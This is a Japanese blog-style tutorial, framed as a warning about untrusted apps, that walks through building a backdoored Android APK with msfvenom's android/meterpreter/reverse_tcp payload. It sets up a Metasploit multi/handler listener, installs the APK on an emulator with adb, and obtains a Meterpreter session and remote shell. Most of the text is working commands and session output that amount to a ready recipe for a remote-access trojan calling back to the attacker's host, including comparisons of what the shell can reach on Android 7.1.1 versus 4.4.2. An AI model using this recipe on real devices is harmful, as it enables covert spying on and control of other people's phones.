Metasploitを用いたAndroidの覗き見
はじめに
この記事は遠隔操作を推奨するものではありません。またこの記事を見た個人が何をしようとその責任は持ちません。
要はこういう技術はあるけど悪用すんなって話で、かつこのようにすれば覗き見られる可能性があるためその警鐘を鳴らす意味合いの記事です。
怪しいアプリ、信頼できないアプリはインストールしない!
必要なもの
環境
Android Emulator 7.1.1
計算機
計算機 | バージョン等 |
---|---|
OS | Ubuntu 14.04 64bit |
Metasploit | Version 4.12.22 |
手順
AndroidにインストールするAPKの作成
- 攻撃用のIPアドレスを控える
$ ip a (snip) 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether bc:5f:f4:5b:1c:e7 brd ff:ff:ff:ff:ff:ff inet 192.33.18.170/24 brd 192.33.18.255 scope global eth0 valid_lft forever preferred_lft forever inet6 fe80::be5f:f4ff:fe5b:1ce7/64 scope link valid_lft forever preferred_lft forever (snip)
IP addres=192.33.18.170
ポートは使用されていないポートを適当に使いましょう。今回はPORT = 443
とします。
# msfvenom -p /android/meterpreter/reverse_tcp LHOST=(your ip addres) LPORT=(your port) R > hack.apk
でAndroidにインストールするAPKを作成します。私の場合だとこうなります。
# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.33.18.170 LPORT=443 R > hack.apk
msfpayloadコマンドだと下記のようになります。
# msfpayload android/meterpreter/reverse_tcp LHOST=192.33.18.170 LPORT=443 R > hack.apk
計算機で遠隔操作の待受
作成したアプリを起動すると接続が始まるので、待ち受ける必要があります。 LHOSTとLPORTは環境に合わせて変えてください
# msfconsole =[ metasploit v4.12.22-dev-03e14ec ] + -- --=[ 1577 exploits - 906 auxiliary - 271 post ] + -- --=[ 455 payloads - 39 encoders - 8 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf > use exploit/multi/handler msf exploit(handler) > set payload android/meterpreter/reverse_tcp payload => android/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.33.18.170 LHOST => 133.68.18.170 msf exploit(handler) > set LPORT 443 LPORT => 443 msf exploit(handler) > exploit [*] Started reverse TCP handler on 192.33.18.170:443 [*] Starting the payload handler...
これで待ち受けは完了です。Androidで作成したAPKを起動することで遠隔操作可能となります。
AndroidへのAPKのインストールと起動
adbを用いてインストールします。
$ adb install hack.apk
インストールしたらAndroid(Emulator)端末にMainActivityというアプリがあるのでそれを起動します。 すると計算機のコンソールのほうが
[*] Sending stage (63234 bytes) to 192.33.18.170 [*] Meterpreter session 1 opened (192.33.18.170:443 -> 192.33.18.170:45939) at 2017-05-18 20:01:07 +0900 meterpreter >
となります。この状況でsysinfoと打ち込むと
meterpreter > sysinfo Computer : localhost OS : Android 7.1.1 - Linux 3.10.0+ (i686) Meterpreter : java/android
このようにandroidの情報が入手できます。
shellと打ち込むとAndroidのシェルに入ることができます。
meterpreter > shell Process 1 created. Channel 1 created. id uid=10076(u0_a76) gid=10076(u0_a76) groups=10076(u0_a76),3003(inet),9997(everybody),50076(all_a76) context=u:r:untrusted_app:s0:c512,c768 ls ls: .: Permission denied
idがアプリのidとなるのでパーミッションが適切に設定されているAndroid7.1.1ではlsすら拒絶されました。
ちなみにAndroid Emulator 4.4.2で試したところlsコマンドで何があるか確認できました。
わかりにくいので自分で打ったコマンドの前には$
をつけました。実際はないです。
meterpreter > sysinfo Computer : localhost OS : Android 4.4.2 - Linux 3.10.0+ (i686) Meterpreter : java/android meterpreter > shell Process 1 created. Channel 1 created. $ id uid=10089(u0_a89) gid=10089(u0_a89) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),50089(all_a89) $ ls acct cache config d data default.prop dev etc file_contexts fstab.goldfish fstab.ranchu init init.environ.rc init.goldfish.rc init.ranchu.rc init.rc init.trace.rc init.usb.rc mnt proc property_contexts root sbin sdcard seapp_contexts sepolicy storage sys system ueventd.goldfish.rc ueventd.ranchu.rc ueventd.rc vendor $ cd sdcard $ touch test.txt $ ls test.txt
sdcardのwビットが立ってたみたいで書き込みもできました。
Android7と4ではパーミッションが大きく変わっていることを初めて知りました。
最後に
怪しいアプリはインストールしない!